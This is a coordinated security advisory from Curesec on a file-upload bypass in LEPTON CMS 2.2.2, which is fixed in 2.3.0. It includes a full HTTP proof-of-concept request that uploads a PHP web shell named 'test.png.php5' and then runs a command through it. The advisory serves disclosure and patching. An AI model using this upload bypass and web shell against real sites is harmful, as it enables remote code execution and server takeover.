Security Advisory - Curesec Research Team 1. Introduction Affected Product: LEPTON 2.2.2 stable Fixed in: 2.3.0 Fixed Version Link: http://www.lepton-cms.org/posts/ important-lepton-2.3.0-101.php Vendor Website: http://www.lepton-cms.org/ Vulnerability Type: Code Execution Remote Exploitable: Yes Reported to vendor: 09/05/2016 Disclosed to 11/10/2016 public: Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview Lepton is a content management system written in PHP. In version 2.2.2, it is vulnerable to code execution as it is possible to upload files with dangerous type via the media manager. 3. Details Upload of file with dangerous type CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C Description: When uploading a file in the media tab, there is a client-side as well as a server-side extension check. The server-side check can be bypassed by including a valid extension before the desired extension, leading to code execution or XSS. Proof of Concept: POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken= 099c871bbf640f2f91d2az1472132032 HTTP/1.1 Host: localhost Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid= 8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data; boundary=---------------------------38397165016927337851258279296 Content-Length: 613 -----------------------------38397165016927337851258279296 Content-Disposition: form-data; name="action" media_upload -----------------------------38397165016927337851258279296 Content-Disposition: form-data; name="current_dir" -----------------------------38397165016927337851258279296 Content-Disposition: form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <? php passthru($_GET['x']); -----------------------------38397165016927337851258279296 Content-Disposition: form-data; name="submit" Upload File(s) -----------------------------38397165016927337851258279296-- http://localhost/ LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id 4. Solution To mitigate this issue please upgrade at least to version 2.3.0: http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php Please note that a newer version might already be available. 5. Report Timeline 09/05/2016 Informed Vendor about Issue 09/06/2016 Vendor requests 60 days to release fix 10/25/2016 Vendor releases fix 11/10/2016 Disclosed to public Blog Reference: https://www.curesec.com/blog/article/blog/Lepton-222-Code-Execution-171.html -- blog: https://www.curesec.com/blog tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Josef-Orlopp-StraAe 54 10365 Berlin, Germany